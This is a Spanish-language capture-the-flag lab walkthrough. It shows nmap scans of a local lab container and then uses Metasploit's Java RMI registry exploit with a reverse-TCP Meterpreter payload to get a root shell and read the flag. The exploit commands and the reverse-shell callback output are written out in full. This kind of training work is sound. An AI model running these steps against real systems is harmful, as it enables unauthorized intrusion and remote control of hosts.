

Iniciamos nuestro lab **MSFVENOM**

```
kali@Kali: ~/Downloads/Labs/Facil/MSFVENOM
Session Actions Edit View Help

[W//I//C//O//N//F//I//D//E//N//C//I//A]

Entrena pentesting en escenarios reales.
Simula ataques • Documenta hallazgos • Progresas como hacker ético.

[*] Inicializando laboratorio ofensivo....
[+] Imagen lista para desplegar

[*] Desplegando laboratorio ofensivo ...

[v] Escenario listo para el ataque.

Laboratorio: MSFVENOM
Dificultad: ★★★★★★ fácil
Recompensa: 1 XP

Objetivo accesible en: 172.17.0.3

Formato esperado: MSFVENOM{ ... }

Ingresa la flag: 
```

Realizaremos un escaneo inicial con nmap

```
kali@Kali: ~/Downloads/Labs/Facil/MSFVENOM
Session Actions Edit View Help

(kali@Kali)~-[~/Downloads/Labs/Facil/MSFVENOM]
$ nmap -p- -sV -sC -sS -sV -vvv -n -Pn --min-rate=5000 172.17.0.3 -oN nmap_scan
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-28 17:09 -0600
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:09
Completed NSE at 17:09, 0.01s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:09
Completed NSE at 17:09, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:09
Completed NSE at 17:09, 0.00s elapsed
Initiating ARP Ping Scan at 17:09
Scanning 172.17.0.3 [1 port]
Completed ARP Ping Scan at 17:09, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 17:09
Scanning 172.17.0.3 [65535 ports]
Discovered open port 41327/tcp on 172.17.0.3
Discovered open port 1099/tcp on 172.17.0.3
Completed SYN Stealth Scan at 17:09, 1.05s elapsed (65535 total ports)
Initiating Service scan at 17:09
Scanning 2 services on 172.17.0.3
Completed Service scan at 17:11, 126.11s elapsed (2 services on 1 host)
NSE: Script scanning 172.17.0.3.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.09s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.01s elapsed
```

```
kali@kali: ~/Downloads/Labs/Facil/MSFVENOM
Session Actions Edit View Help
Completed NSE at 17:11, 0.09s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Nmap scan report for 172.17.0.3
Host is up, received arp-response (0.0000060s latency).
Scanned at 2026-06-28 17:09:32 CST for 127s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON      VERSION
1099/tcp   open  java-rmi syn-ack ttl 64 GNU Classpath grmiregistry
41327/tcp  open  java-rmi syn-ack ttl 64 GNU Classpath grmiregistry
MAC Address: E2:A8:AE:5E:D9:DF (Unknown)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.27 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

(kali@kali)~[~/Downloads/Labs/Facil/MSFVENOM]
$
```

Ahora hagamos una búsqueda de vulnerabilidades con nmap

```
(kali@kali)~[~/Downloads/Labs/Facil/MSFVENOM]
$ nmap -p- --script vuln 172.17.0.3 -oN vuln_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-28 17:24 -0600
Nmap scan report for 172.17.0.3
Host is up (0.0000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
1099/tcp   open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|   References:
|     https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
|_
41327/tcp  open  unknown
MAC Address: E2:A8:AE:5E:D9:DF (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 37.85 seconds

(kali@kali)~[~/Downloads/Labs/Facil/MSFVENOM]
$
```

Con esto definimos nuestro vector de ataque al puerto 1099 que es vulnerable ya que tiene la configuración por defecto

Intentaremos establecer una conexión de shell con Metasploit

Ejecutamos

```
use exploit/multi/misc/java_rmi_server
set RHOSTS 172.17.0.3
set RPORT 1099
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 172.17.0.1
run
```

```
(kali@kali) - [~/Downloads/Labs/Facil/MSFVENOM]
$ msfconsole -q
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 172.17.0.3
RHOSTS => 172.17.0.3
msf exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
msf exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] 172.17.0.3:1099 - Using URL: http://172.17.0.1:8080/FfhIyg4tYADn
[*] 172.17.0.3:1099 - Server started.
[*] 172.17.0.3:1099 - Sending RMI Header...
[*] 172.17.0.3:1099 - Sending RMI Call...
[*] 172.17.0.3:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:41073) at 2026-06-28 19:21:26 -0600

meterpreter > 
```

Ahora que tenemos la consola con meterpreter ya podemos levantar una shell y tendremos acceso como root

```
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
```

Ahora como root ya podremos buscar la bandera y ver su contenido

```
find / -name "flag.txt" 2>/dev/nul
/opt/flag.txt
/root/flag.txt
cat /opt/flag.txt /root/flag.txt
JAVA{
JAVA{
```

Hemos encontrado dos banderas y ambas tienen el mismo contenido, solo nos resta ingresarlas en la terminal donde iniciamos el lab

```
kali@kali: ~/Downloads/Labs/Facil/MSFVENOM
```

```
Session Actions Edit View Help
```

```
[*] Inicializando laboratorio ofensivo...  
[+] Imagen lista para desplegar  
  
[*] Desplegando laboratorio ofensivo ...  
  
=====
```

```
[✓] Escenario listo para el ataque.  
  
=====
```

```
Laboratorio: MSFVENOM  
Dificultad: ★★★★★★ fácil  
Recompensa: 1 XP  
  
=====
```

```
Objetivo accesible en: 172.17.0.3  
  
=====
```

```
Formato esperado: MSFVENOM{ ... }  
  
=====
```

```
Ingresa la flag: JAVA{XXXXXXXXXXXXXXXXXXXX}
```

```
  
Objetivo comprometido con éxito.  
Has dominado el laboratorio: MSFVENOM  
Sigues avanzando como pentester ofensivo.
```

```
  
FECHA Y HORA: 2026-06-28 19:30:26 -0600  
  
=====
```

```
[*] Presiona Ctrl+C para eliminar el laboratorio  
  
█
```